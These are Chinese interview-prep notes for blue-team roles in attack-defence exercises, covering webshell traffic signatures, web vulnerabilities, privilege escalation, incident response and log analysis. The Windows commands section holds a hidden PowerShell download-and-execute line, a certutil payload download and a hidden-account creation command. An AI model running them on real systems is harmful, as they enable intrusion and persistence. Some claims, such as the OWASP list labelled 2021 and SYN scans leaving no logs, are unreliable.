HVV面试资料,文章整理匆忙,较为无序
几个面试问题
蓝队初级1
- SQL注入,列举几个攻击手法
- Mysql getshell
- 漏洞挖掘有实践过吗
- Log4j原理,payload特征
- Spring Boot RCE
- PHP命令执行函数
- 端口号,Mysql,RDP,MSSQL
- 永恒之蓝
- linux提权pkexec
- Shell工具,流量特征
- 如何判断对方服务器类型
- 正向shell反向shell
- 常见的中间件及漏洞
蓝队初级2
- 请你自我介绍一下?
- 你了解sql注入吗讲一些你知道的sql的利用?
- spring rce 了解吗讲一下原理?
- 接触过安全设备吗?
- 讲一下你用过的shell管理工具以及他们的流量特征?
- 讲一下如果安全设备报警如何判断不是误报?
蓝队高级面试官面的蓝队初级
- java序列化 讲下原理过程
- sql注入 时间盲注
- csrf与ssrf区别
- 怎么防御csrf
- windows中查看进程
- linux查看用户名密码命令
- ua中的信息
- 存储型xss与dom型xss
- dns不出网咋办
- 如何判断一个网站的真实ip地址
- python解析url编码用什么库(py4什么的)
- 安全设备
- 免杀Webshell
- sqlmap使用
- xxe
- 发现webshell怎么操作
- 内网
- redis未授权访问
SQL注入
正向代理和反向代理的区别
正向代理
正向代理类似跳板,通过正向代理机器访问外部互联网,如果正向代理机器在海外,可以连接GFW外部互联网
客户端<==>正向代理机器<==>互联网
正向代理可以收集用户上网信息,进行权限认证等
反向代理
反向代理类似镜像,实现对服务的转发,实际上对外相当于一台服务器
客户端<==>反向代理机器<==>目标机器
反向代理能有效分隔内网机器,防止攻击或者进行负载均衡
蚁剑/菜刀/冰蝎异同
相同:都是用来连接 Web Shell 的工具 不同:冰蝎有流量动态加密
菜刀
菜刀 webshell 只使用了 url 编码 + base64 编码 shell 特征就是传输参数名为 z0,还存在int_set(“display_erros”,”0″)字符串特征
蚁剑
默认的蚁剑 shell,连接时会请求两次,其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码 第一次请求,关闭报错和 magic_quotes,接下来去获取主机的信息 第二次请求,会把主机目录列出来
冰蝎2.0
使用 aes 加密发起三次请求 第一次请求服务端产生密钥写入 session,session 和当前会话绑定,不同的客户端的密钥也是不同的 第二次请求是为了获取 key,第三次使用 key 的 aes 加密进行通信
冰蝎3.0
使用 aes 加密发起两次请求 3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,不再使用随机生成 key,改为取连接密码的 md5 加密值的前 16 位作为密钥 一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息
哥斯拉
支持 n 种加密 采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,建立 session,第二三次请求确认连接
Windows提权类型与方法
类型
纵向提权:低权限角色获得高权限角色的权限 横向提权:获取同级别角色的权
方法
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- WEB中间件漏洞提权
- DLL劫持提权
- 滥用高危权限令牌提权
- 第三方软件/服务提权等
Linux提权
- Linux内核漏洞提权
- SUID提权(普通用户执行指令的标记)
find / -perm -u=s -type f 2>/dev/null
查找SUID为root的指令
-
环境变量劫持高权限程序
- sudoer(用户组)配置文件错误提权
- pkexec本地权限提升漏洞(CVE-2021-4034)
XSS
- 反射型(非持久化):反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
- 存储型(持久化):用户提交的数据会被存储在后端(不管是数据库、内存还是文件系统等),当攻击者提交的包含有XSS攻击的代码被存储在后端中,其他用户访问该页面的时候,后端会将数据取出来显示在页面上,这时候用户就会受到XSS攻击
- Dom-based型:客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源document.URL、location.hash、location.search、document.referrer等。
XSS的防御
对输入过滤:
- 将半角符号替换为全角符号
- 利用白名单对输入进行过滤,比如输入id只能输入数字
对输出编码:
- 对容易引起xss的符号(例如引号,< , >)进行HTML编码
- 设置HttpOnly,让js脚本无法获取cookies内容
CSRF攻击
CSRF是跨站请求伪造攻击 一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿下的操作行为。
其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。CSRF攻击原理:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
攻击范例
假设某银行网站A以GET请求来发起转账操作,转账的地址为
www.xxx.com/transfer.do?accountNum=l000l&money=10000
参数accountNum表示转账的账户,参数money表示转账金额。 而某大型论坛B上,一个恶意用户上传了一张图片,而图片的地址栏中填的并不是图片的地址,而是前而所说的砖账地址:
当你登录网站A后,没有及时登出,这时你访问了论坛B,不幸的事情发生了,你会发现你的账号里面少了10000块… 为什么会这样呢,在你登录银行A时,你的浏览器端会生成银行A的cookie,而当你访问论坛B的时候,页面上的标签需要浏览器发起一个新的HTTP请求,以获得图片资源,当浏览器发起请求时,请求的却是银行A的转账地址
www.xxx.com/transfer.do?accountNum=l000l&money=10000
并且会带上银行A的cookie信息,结果银行的服务器收到这个请求后,会以为是你发起的一次转账操作,因此你的账号里边便少了10000块。 当然,绝大多数网站都不会使用GET请求来进行数据更新,因此,攻击者也需要改变思路,与时俱进。 假设银行将其转账方式改成POST提交,而论坛B恰好又存在一个XSS漏洞,恶意用户在它的页面上植入如下代码:
var form = document.forms('auto');
form.submit();
如果你此时恰好登录了银行A,且没有登出,当你打开上述页面后,脚本会将表单aaa提交,把accountNum和money参数传递给银行的转账地址
http://www.xxx.com/transfer.do
同样的,银行以为是你发起的一次转账会从你的账户中扣除10000块
常见利用
document.forms[0].submit();
CSRF防御
- 尽量使用POST
- 设置HttpOnly
- 增加Token
- 自定义http请求头
Docker及相关应用
详见Docker分类
- 那Docker究竟有哪些好处呢?除去之前说的环境的配置
- 基于Linux的cgroup运行(现在大部分开源OJ所使用的代码执行方式)
- 直接运行在宿主机,不用类似KVM一样的模拟(容器不是虚拟机)
- 有轻量级隔离,也可以实现容器与宿主机的资源共享(网络不是隔离的)
- 不需要硬件的支持,不需要模拟硬件(虚拟机需要CPU虚拟化支持)
- 进程级的模拟,更快的启动速度以及更少的资源占用
- 提供弹性的云服务,Docker容器可以随开随关,很适合动态扩容。
- 通过多个容器,一台机器可以跑多个服务,因此在本机就可以模拟出微服务架构
Docker及微服务可参考报告开发及生产环境配置
Burp模块
- Dashboard(仪表盘)
- Target(目标)
- Proxy(代理)
- Intruder(侵入)也就是爆破
- Repeater(重放)
- Sequencer(序列器)
- Decoder(解码器)
- Comparer(比较)
- Extender(扩展)
- Project options(项目选项)
- Options(用户选项)
OWASP TOP10
OWASP是开放式Web安全项目组织 2021安全漏洞Top10:
- SQL注入
- 失效的身份认证和会话管理
- 跨站脚本攻击 XSS
- 直接引用不安全的对象
- 安全配置错误
- 敏感信息泄露
- 缺少功能级的访问控制
- 跨站请求伪造CSRF
- 使用含有已知漏洞的组件
- 未验证的重定向和转发
数据库及类型
关系型
- MySQL:3306
- SQL Server:1433
- Oracle:1521
- DB2:5000
- MongoDB:27017 基于关系型与非关系型之间,支持复杂查询语句,数据结构非常松散
非关系型
- Redis:6379
- Memcached:11211
常见的中间件漏洞
IIS,Apache,Nginx是目前应用最广的三大Web服务器
IIS
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务
IIS 6 解析漏洞
基于文件名,该版本默认会将*.asp;.jpg此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。
IIS 6 解析漏洞防护
- 限制上传目录执行权限,不允许执行脚本。
- 不允许新建目录。
- 上传的文件需经过重命名时间戳+随机数+.jpg等
Apache
AddHandler导致的解析漏洞
如果运维人员给.php后缀增加了处理器
AddHandler application/x-httpd-php.php
那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。 防护同上 IIS 6
Nginx
配置文件错误导致的解析漏洞
- 可以直接获取诸如
`index.php~,index.php.bak`
等文件 - 对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
https://api.hz2016.com/a.png/a.php
防护
- 匹配对应文件,rewrite返回404
- 配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
Tomcat
Tomcat 任意文件写入(CVE-2017-12615)
indows+Tomcat 7.0.x+配置文件readonly=false 导致我们可以往服务器写文件
Weblogic
任意文件上传漏洞(CVE-2018-2894)
通过截获上传的时间戳找出真正的文件名达到poc
内网渗透思路
- 代理穿透
- 权限维持
- 内网信息收集
- 口令爆破
- 凭据窃取
- 社工
- 横行和纵向渗透
- 拿下域控
正向SHELL和反向SHELL的区别
正向Shell:
攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。
反向Shell:
被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
应急响应流程
准备阶段
和客户确认事件背景、相关负责人联系方式、确定参与此次应急响应人员、根据客户描述,初步判定事件响应策略,携带应急响应工具包前往客户现场。
检测阶段
检测阶段确认入侵事件是否发生,如真发生了入侵事件,评估造成的危害(比如说判断是信息泄露还是被写码了)、范围以及发展的速度,事件会不会进一步升级
抑制阶段
本阶段主要任务是通过事件分析查明事件危害的方式,并且给出清除危害的解决方案 系统基本信息、网络排查、进程排查、注册表排查、计划任务排查、服务排查、关键目录排查、用户组排查、事件日志排查、webshell排查、中间件日志排查、安全设备日志排查
恢复阶段
把受影响系统、设备、软件和应用服务还原到正常的工作状态 常见手段:系统重装、补丁加固、网络恢复、密码重置、木马清除等。
跟踪阶段
调查事件原因,输出应急响应报告,提供安全建议、加强安全教育、避免同类事件
Windows基础命令
type 显示文本内容 type 1.txt
dir 显示当前目录内容
dir/s/b 查询文件 返回绝对路径,例如 dir/s/b d:\a.php 查询D盘中a.php文件返回绝对路径
dir c:\ /s /b *.txt 查询c盘中txt文件,并返回绝对路径
/b 显示文件夹或文件的名字
/s 显示指定目录和所有子目录中的文件
* 是通配符,可以代表任意字符串
del 删除文件
ipconfig 查看IP地址
ipconfig /all 查看所有ip配置信息
net user 查看用户
net user ad 查看用户权限 ad为用户名
net user username password /add username 和password为你要添加的账号和密码
net user username$ password /add 隐藏用户
net user username /del 删除 或者username$ 删除隐藏
net localgroup administrators username /add username为要添加管理员组别的用户
net localgroup administrators 查看所有用户包括隐藏
query user || qwinsta 查看管理员是否在线
tasklist /svc | find "Ter",假如 TermService 的 PID 是 1592。查找远程桌面端口
netstat -ano | find "1592",查看 TermService 使用的端口,如示例中的 3389
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.1/powershell.txt'))"
powershell 隐藏执行下载脚本
certutil.exe -urlcache -split -f “文件下载地址” d:\test.exe 将文件下载到d盘命名为test.exe
Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目标计算机上执行恶意EXE文件
Linux防火墙及应急处理
service iptables status # 查看防火墙状态
service iptables start #开启防火墙
service iptables stop #关闭防火墙
service iptables restart #重启防火墙
查看用户组
cat /etc/passwd #可以查看所有用户的列表
w #可以查看当前活跃的用户列表
cat /etc/group #查看用户组
groups #查看当前登录用户的组内成员
groups #test 查看test用户所在的组,以及组内成员
whoami #查看当前登录用户名
查看进程
其中, -A:显示所有进程 a:显示终端中包括其它用户的所有进程 x:显示无控制终端的进程
ps aux | less
ps -A
ps -e
#任务:查看非root运行的进程
ps -U root -u root -N
#任务:查看用户vivek运行的进程
ps -u vivek
#top命令提供了运行中系统的动态实时视图。在命令提示行中输入top:
top
#进程树
ps -ejH
ps axjf
#获得线程信息
ps -eLf
ps axms
#获得安全信息
ps -eo euser,ruser,suser,fuser,f,comm,label
ps axZ
ps -eM
Linux端口查看
#lsof -i:端口号查看某个端口的占用情况
lsof -i:8000
#更多lsof
lsof -i:8080:查看8080端口占用
lsof abc.txt:显示开启文件abc.txt的进程
lsof -c abc:显示abc进程现在打开的文件
lsof -c -p 1234:列出进程号为1234的进程所打开的文件
lsof -g gid:显示归属gid的进程情况
lsof +d /usr/local/:显示目录下被进程开启的文件
lsof +D /usr/local/:同上,但是会搜索目录下的目录,时间较长
lsof -d 4:显示使用fd为4的进程
lsof -i -U:显示所有打开的端口和UNIX domain文件
#netstat -tunlp 用于显示 tcp,udp 的端口和进程等相关情况。
netstat -tunlp | grep 端口号
netstat -ntlp #查看当前所有tcp端口
netstat -ntulp | grep 80 #查看所有80端口使用情况
netstat -ntulp | grep 3306 #查看所有3306端口使用情况
Vulhub
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。 Vulhub官网
常见端口
21 ftp ftp的端口号20、21的区别一个是数据端口,一个是控制端口,控制端口一般为21
69 TFTP (简单文件传输协议)
22 SSH
23 Telnet
80 web
80-89 web
443 https SSL心脏滴血
445 SMB ms17-010永恒之蓝
873 Rsync未授权
1433 MSSQL
1521 Oracle 这玩应记不住?记不住?
3306 MySQL
3389 远程桌面
5432 PostgreSQL
5900 vnc 目前常用的协议有VNC/SPICE/RDP三种 、小巧,支持客户端和服务器端的直接拷贝粘贴,缺点:速度最慢
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,
默认端口是8080
在windows系统中:
1098、1099、4444、4445、8083端口在/jboss/server/default/conf/jboss-service.xml中
8080端口在/jboss/server/default/deploy/jboss-web.deployer/server.xml中
8093端口在/jboss/server/default/deploy/jms/uil2-service.xml中。
8000-9090 都是一些常见的web端口
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50070,50030 hadoop默认端口未授权访问
161 SNMP
389 LDAP
512,513,514 Rexec
1025,111 NFS
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3312/3311 kangle主机管理系统登陆
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
7778 Kloxo主机控制面板登录
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
50000 SAP命令执行
三次握手与四次挥手
背景:TCP 位于传输层,作用是提供可靠的字节流服务,为了准确无误地将数据送达目的地,TCP 协议采纳三次握手四次挥手策略
三次握手(three-way handshaking)
TCP 三次握手,其实就是 TCP 应用在发送数据前,通过 TCP 协议跟通信对方协商好连接信息,建立起 TCP 的连接关系
- 第一次握手:客户端发送 SYN 报文,并进入 SYN_SENT 状态,等待服务器的确认
- 第二次握手:服务器收到 SYN 报文,需要给客户端发送 ACK 确认报文,同时服务器也要向客户端发送一个 SYN 报文,所以也就是向客户端发送 SYN + ACK 报文,此时服务器进入 SYN_RCVD 状态
- 第三次握手:客户端收到 SYN + ACK 报文,向服务器发送确认包,客户端进入 ESTABLISHED 状态。待服务器收到客户端发送的 ACK 包也会进入 ESTABLISHED 状态,完成三次握手
四次挥手(Four-Way-Wavehand)
当我们的应用程序不需要数据通信了,就会发起断开 TCP 连接。建立一个连接需要三次握手,而终止一个连接需要经过四次挥手
- 第一次挥手:客户端发送一个 FIN,用来关闭客户端到服务端的数据传送,客户端进入 FIN_WAIT_1 状态
- 第二次挥手:服务端收到 FIN 后,发送一个 ACK 给客户端,确认序号为收到序号 +1(与SYN相同,一个FIN占用一个序号),服务端进入 CLOSE_WAIT 状态
- 第三次挥手:服务端发送一个 FIN,用来关闭服务端到 客户端的数据传送,服务端进入 LAST_ACK 状态
- 第四次挥手:客户端收到 FIN 后,客户端进入 TIME_WAIT 状态,接着发送一个 ACK 给服务端,确认序号为收到序号 +1,服务端进入 CLOSED 状态,完成四次挥手
Nmap工具使用
Nmap是主机扫描工具,他的图形化界面是Zenmap,分布式框架为Dnamp。 Nmap可以完成以下任务: 主机探测、端口扫描、版本检测、系统检测 支持探测脚本的编写 Nmap在实际中应用场合如下:
- 通过对设备或者防火墙的探测来审计它的安全性
- 探测目标主机所开放的端口
- 通过识别新的服务器审计网络的安全性
- 探测网络上的主机
#扫描基础指令
-sT TCP (全)连接扫描,准确但留下大量日志记录
-sS TCP SYN (半)扫描,速度较快,不会留下日志
-sN null 扫描,标志位全为 0,不适用 Windows
-sF FIN 扫描,标志位 FIN=1,不适用 Windows
-O 查看目标主机系统版本
-sV 探测服务版本
-A 全面扫描
#主机发现
-sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
-sn: Ping Scan 只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
-PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。
-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。-PO[protocollist]: 使用IP协议包探测对方主机是否开启。
-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
--dns-servers : 指定DNS服务器。
--system-dns: 指定使用系统的DNS服务器
--traceroute: 追踪每个路由节点 版本侦测的
#版本侦测
-sV: 指定让Nmap进行版本侦测
--version-intensity : 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。
--version-light: 指定使用轻量侦测方式 (intensity 2)
--version-all: 尝试使用所有的probes进行侦测 (intensity 9)
Wireshark简单的过滤规则
#源ip
ip.src==1.1.1.1
#目的ip
ip.dst==1.1.1.1
#过滤80端口
tcp.port==80
#源端口
tcp.srcport==80
#目的端
tcp.dstport==80
#协议过滤:直接输入协议名即可,如 http 协议
http
#http 模式过滤:过滤 get/post 包
httprequest.mothod=="GET/POST"
常见取证分析工具
wireshark(流量包)、xplico、volatility(内存取证)、fastlr collector、autopsy、dumolt、ftk lmager、foremost、scalpel、bulik_exetractor
日志分析
常见日志文件位置
- IIS
- Windows Server 2003 iis6日志路径:
- C:\Windows\System32\LogFiles
- Windows Server 2008 R2、2012、2016、2019 iis7以上日志路径:
- C:\inetpub\logs\LogFiles
- Apache
- Apache+Windows
- D:\xampp\apache\logs\access.log
- Apache+Linux
- /var/log/apache/access.log
- /var/log/apache2/access.log
- /var/log/httpd/access.log
- nginx
- /usr/local/nginx/logs
- 常见格式内容
- 访问的主机IP
- 请求时间
- 请求方法、请求的URL、采用的协议
- HTTP状态码
日志分析技巧
1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
9、统计爬虫
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
10、统计浏览器
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
11、IP统计
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
12、统计网段
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
13、统计域名
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more
14、 统计URL
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more
15、URL访问量统计
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more